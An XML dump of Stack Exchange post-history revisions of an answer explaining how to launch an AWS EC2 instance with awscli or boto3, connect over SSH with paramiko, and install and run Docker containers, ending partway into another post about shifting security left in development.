ID**&#xD;&#xA;&#xD;&#xA;Following the official [documentation][2]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;But the problem is that you get a JSON structure with your key; it is way easier to process it to a *.pem* file using [Python][3]:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/boto3 stances you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Firewall consideration**&#xD;&#xA;&#xD;&#xA;By default, AWS will create a security group without any traffic restrictions. In a more complex setup, you might want to consider this as well.&#xD;&#xA;&#xD;&#xA;**Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you can do everything you like by means of *remote command execution*.&#xD;&#xA;&#xD;&#xA;In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With Python, you use further modules like [paramiko][4] to establish SSH connection and run commands remotely. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;**Install Docker and run container**&#xD;&#xA;&#xD;&#xA;As said above, anything else from here is running remote commands. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][5]; proceeding is same as you would do it locally, but you need to wrap it in your script and pass over intermediate results if required:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* pull image&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    sudo yum update -y&#xD;&#xA;    sudo amazon-linux-extras install docker&#xD;&#xA;    sudo service docker start&#xD;&#xA;    sudo usermod -a -G docker ec2-user&#xD;&#xA;    # relogin or continue with sudo, which you shouldn't&#xD;&#xA;    aws ecr get-login --no-include-email --region region&#xD;&#xA;    docker pull aws_account_id.REGISTRY.ecr.REGION.amazonaws.com/REPOSITORY/IMAGE:TAG&#xD;&#xA;    docker run --name MYSERVICENAME -d -p PORT_HOST:PORT_CONTAINER IMAGE:TAG&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Pull and run another container listening on port 8001 from a public image with a single step:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    docker run --name nginx -d -p 8001:80 nginx:latest&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks. Seen on long term, Python being a general purpose programming language with large community, allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, a coherent wrap-up of above steps might not be worth the effort in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more pragmatic. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [3]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [4]: http://www.paramiko.org/&#xD;&#xA;  [5]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="31912" PostHistoryTypeId="13" PostId="1951" RevisionGUID="bc509211-812a-49a6-a7e3-92a144d7d1f9" CreationDate="2020-01-03T13:39:03.390" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31913" PostHistoryTypeId="5" PostId="10379" RevisionGUID="bb64b17f-4618-4511-9891-1f6ac58036a4" CreationDate="2020-01-03T13:41:59.007" UserId="707" Comment="deleted 4 characters in body" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments if something is not well enough explained.&#xD;&#xA;&#xD;&#xA;The OP (original poster) has not specified a preferred script language; therefore I give illustrating example snippets in Bash and Python, trying to achieve best readability.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and a single VM there.&#xD;&#xA;&#xD;&#xA;According to a short documentation research, there seems to be no official AMI with pre-installed Docker daemon. Thus we need to deploy an EC2 instance and install there Docker daemon, then start the daemon. &#xD;&#xA;&#xD;&#xA;While using a private registry, a login there is required; for simplicity purposes, I give also an example to run a container from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs. In any case, intermediate results require parsing and passing operations which is then a pure programming activity concern.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the [boto3 SDK][1] for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* Identify recent AMI (Amazon Machine Image) ID&#xD;&#xA;* Create keypair and instance (further, also referenced as VM)&#xD;&#xA;* Connect to the instance&#xD;&#xA;* Install and configure Docker daemon&#xD;&#xA;* Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Identify recent AMI image ID**&#xD;&#xA;&#xD;&#xA;Following the official [documentation][2]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;However, the API sends you your public key wrapped in a JSON data message. Therefore, using [Python][3] it is way easier to process this data message to a *.pem* file:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/boto3 stances you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Firewall consideration**&#xD;&#xA;&#xD;&#xA;By default, AWS will create a security group without any traffic restrictions. In a more complex setup, you might want to consider this as well.&#xD;&#xA;&#xD;&#xA;**Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you can do everything you like by means of *remote command execution*.&#xD;&#xA;&#xD;&#xA;In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With Python, you use further modules like [paramiko][4] to establish SSH connection and run commands remotely. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;**Install Docker and run container**&#xD;&#xA;&#xD;&#xA;As said above, anything else from here is running remote commands. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][5]; proceeding is same as you would do it locally, but you need to wrap it in your script and pass over intermediate results if required:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* pull image&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    sudo yum update -y&#xD;&#xA;    sudo amazon-linux-extras install docker&#xD;&#xA;    sudo service docker start&#xD;&#xA;    sudo usermod -a -G docker ec2-user&#xD;&#xA;    # relogin or continue with sudo, which you shouldn't&#xD;&#xA;    aws ecr get-login --no-include-email --region region&#xD;&#xA;    docker pull aws_account_id.REGISTRY.ecr.REGION.amazonaws.com/REPOSITORY/IMAGE:TAG&#xD;&#xA;    docker run --name MYSERVICENAME -d -p PORT_HOST:PORT_CONTAINER IMAGE:TAG&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Pull and run another container listening on port 8001 from a public image with a single step:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    docker run --name nginx -d -p 8001:80 nginx:latest&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks. Seen on long term, Python being a general purpose programming language with large community, allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, a coherent wrap-up of above steps might not be worth the effort in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more pragmatic. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [3]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [4]: http://www.paramiko.org/&#xD;&#xA;  [5]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="31914" PostHistoryTypeId="5" PostId="10379" RevisionGUID="13eadfa4-8fc3-47a1-925b-40e46e93042a" CreationDate="2020-01-03T13:47:52.157" UserId="707" Comment="deleted 4 characters in body" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments if something is not well enough explained.&#xD;&#xA;&#xD;&#xA;The OP (original poster) has not specified a preferred script language; therefore I give illustrating example snippets in Bash and Python, trying to achieve best readability.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and a single VM there.&#xD;&#xA;&#xD;&#xA;According to a short documentation research, there seems to be no official AMI with pre-installed Docker daemon. Thus we need to deploy an EC2 instance and install there Docker daemon, then start the daemon. &#xD;&#xA;&#xD;&#xA;While using a private registry, a login there is required; for simplicity purposes, I give also an example to run a container from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs. In any case, intermediate results require parsing and passing operations which is then a pure programming activity concern.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the [boto3 SDK][1] for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* A Identify recent Linux AMI (Amazon Machine Image) ID&#xD;&#xA;* B. Create keypair and instance (further, also referenced as VM)&#xD;&#xA;* C. Connect to the instance&#xD;&#xA;* D. Install and configure Docker daemon&#xD;&#xA;* E. Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**A. Identify recent Linux AMI image ID**&#xD;&#xA;&#xD;&#xA;Search for a recent and up-to-date Amazon Linux image following the official [documentation][2]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**B. Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;However, the API sends you your public key wrapped in a JSON data message. Therefore, using [Python][3] it is way easier to process this data message to a *.pem* file:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/boto3 stances you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Note: Firewall consideration**&#xD;&#xA;&#xD;&#xA;By default, AWS will create a security group without any traffic restrictions. In a more complex setup, you might want to consider this as well.&#xD;&#xA;&#xD;&#xA;**C. Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you can do everything you like by means of *remote command execution*.&#xD;&#xA;&#xD;&#xA;In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With Python, you use further modules like [paramiko][4] to establish SSH connection and run commands remotely. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For readability purposed, I list further commands unwrapped. In your script, you might want to use elementary helper subroutines to have calls like `ssh_call(command)`.&#xD;&#xA;    &#xD;&#xA;**D. Install and configure Docker daemon**&#xD;&#xA;&#xD;&#xA;As said above, anything else from here is running remote commands. &#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][5]; proceeding is same as you would do it locally, but you need to wrap it in your script and pass over intermediate results if required:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* pull image&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    sudo yum update -y&#xD;&#xA;    sudo amazon-linux-extras install docker&#xD;&#xA;    sudo service docker start&#xD;&#xA;    sudo usermod -a -G docker ec2-user&#xD;&#xA;    # relogin or continue with sudo, which you shouldn't&#xD;&#xA;    aws ecr get-login --no-include-email --region region&#xD;&#xA;    docker pull aws_account_id.REGISTRY.ecr.REGION.amazonaws.com/REPOSITORY/IMAGE:TAG&#xD;&#xA;    docker run --name MYSERVICENAME -d -p PORT_HOST:PORT_CONTAINER IMAGE:TAG&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**E. Run container**&#xD;&#xA;&#xD;&#xA;Run container from a private registry in AWS.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    aws ecr get-login --no-include-email --region region&#xD;&#xA;    docker pull aws_account_id.REGISTRY.ecr.REGION.amazonaws.com/REPOSITORY/IMAGE:TAG&#xD;&#xA;    docker run --name MYSERVICENAME -d -p PORT_HOST:PORT_CONTAINER IMAGE:TAG&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Pull and run another container listening on port 8001 from a public image with a single step:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    docker run --name nginx -d -p 8001:80 nginx:latest&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks. Seen on long term, Python being a general purpose programming language with large community, allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, a coherent wrap-up of above steps might not be worth the effort in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more pragmatic. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [3]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [4]: http://www.paramiko.org/&#xD;&#xA;  [5]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="31915" PostHistoryTypeId="5" PostId="10379" RevisionGUID="17cf786a-b2ae-4460-bc38-74157c451e16" CreationDate="2020-01-03T13:57:38.850" UserId="707" Comment="added 179 characters in body" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments if something is not well enough explained.&#xD;&#xA;&#xD;&#xA;The OP (original poster) refers to `awscli`; while I provide corresponding examples, I also discuss limitations of this approach and give examples of doing same with Python.&#xD;&#xA;&#xD;&#xA;The purpose of this answer is to demonstrate that as OP correctly assumed, no Web UI access neither human interaction is mandatory to deploy a container on an AWS EC2 instance.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and a single VM there.&#xD;&#xA;&#xD;&#xA;According to a short documentation research, there seems to be no official AMI with pre-installed Docker daemon. Thus we need to deploy an EC2 instance and install there Docker daemon, then start the daemon. &#xD;&#xA;&#xD;&#xA;While using a private registry, a login there is required; for simplicity purposes, I give also an example to run a container from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs. In any case, intermediate results require parsing and passing operations which is then a pure programming activity concern.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the [boto3 SDK][1] for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* A Identify recent Linux AMI (Amazon Machine Image) ID&#xD;&#xA;* B. Create keypair and instance (further, also referenced as VM)&#xD;&#xA;* C. Connect to the instance&#xD;&#xA;* D. Install and configure Docker daemon&#xD;&#xA;* E. Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**A. Identify recent Linux AMI image ID**&#xD;&#xA;&#xD;&#xA;Search for a recent and up-to-date Amazon Linux image following the official [documentation][2]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**B. Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;However, the API sends you your public key wrapped in a JSON data message. Therefore, using [Python][3] it is way easier to process this data message to a *.pem* file:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/boto3 stances you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Note: Firewall consideration**&#xD;&#xA;&#xD;&#xA;By default, AWS will create a security group without any traffic restrictions. In a more complex setup, you might want to consider this as well.&#xD;&#xA;&#xD;&#xA;**C. Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you can do everything you like by means of *remote command execution*.&#xD;&#xA;&#xD;&#xA;In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With Python, you use further modules like [paramiko][4] to establish SSH connection and run commands remotely. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For readability purposes, I list further commands unwrapped. In your script, you might want to use elementary helper subroutines to have calls like `ssh_call(command)`.&#xD;&#xA;    &#xD;&#xA;**D. Install and configure Docker daemon**&#xD;&#xA;&#xD;&#xA;As said above, anything else from here is running remote commands. &#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][5]; proceeding is same as you would do it locally, but you need to wrap it in your script and pass over intermediate results if required:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* pull image&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    sudo yum update -y&#xD;&#xA;    sudo amazon-linux-extras install docker&#xD;&#xA;    sudo service docker start&#xD;&#xA;    sudo usermod -a -G docker ec2-user&#xD;&#xA;    # relogin or continue with sudo, which you shouldn't&#xD;&#xA;    aws ecr get-login --no-include-email --region region&#xD;&#xA;    docker pull aws_account_id.REGISTRY.ecr.REGION.amazonaws.com/REPOSITORY/IMAGE:TAG&#xD;&#xA;    docker run --name MYSERVICENAME -d -p PORT_HOST:PORT_CONTAINER IMAGE:TAG&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**E. Run container**&#xD;&#xA;&#xD;&#xA;Run container from a private registry in AWS.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    aws ecr get-login --no-include-email --region region&#xD;&#xA;    docker pull aws_account_id.REGISTRY.ecr.REGION.amazonaws.com/REPOSITORY/IMAGE:TAG&#xD;&#xA;    docker run --name MYSERVICENAME -d -p PORT_HOST:PORT_CONTAINER IMAGE:TAG&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Pull and run another container listening on port 8001 from a public image with a single step:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    docker run --name nginx -d -p 8001:80 nginx:latest&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks. Seen on long term, Python being a general purpose programming language with large community, allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, a coherent wrap-up of above steps might not be worth the effort in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more pragmatic. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [3]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [4]: http://www.paramiko.org/&#xD;&#xA;  [5]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="31916" PostHistoryTypeId="2" PostId="10380" RevisionGUID="d68587d0-b15b-4e08-b809-2cb0950e8d1e" CreationDate="2020-01-03T14:36:06.913" UserId="707" Text="While I completely agree with &#xD;&#xA;&#xD;&#xA;&gt; security must shift left in the development process&#xD;&#xA;&#xD;&#xA;though I can't completely agree with&#xD;&#xA;&#xD;&#xA;&gt;    We all know &quot;developer education&quot; is a lost cause.&#xD;&#xA;&#xD;&#xA;Because I think of the answer to a Quora question I've seen recently, something like &quot;*What is the hardest requirement to a software engineer?*&quot;.&#xD;&#xA;&#xD;&#xA;The answer there was like &quot;*a feature which has highest priority unless it's not too much work*&quot;. Because many software engineers are very eager to try and learn new things if you *exactly define the desired outcome*.&#xD;&#xA;&#xD;&#xA;So don't do same to your security requirements!&#xD;&#xA;&#xD;&#xA;By this I mean to say that the following parts to be considered:&#xD;&#xA;&#xD;&#xA;- **design**: what are exactly the security 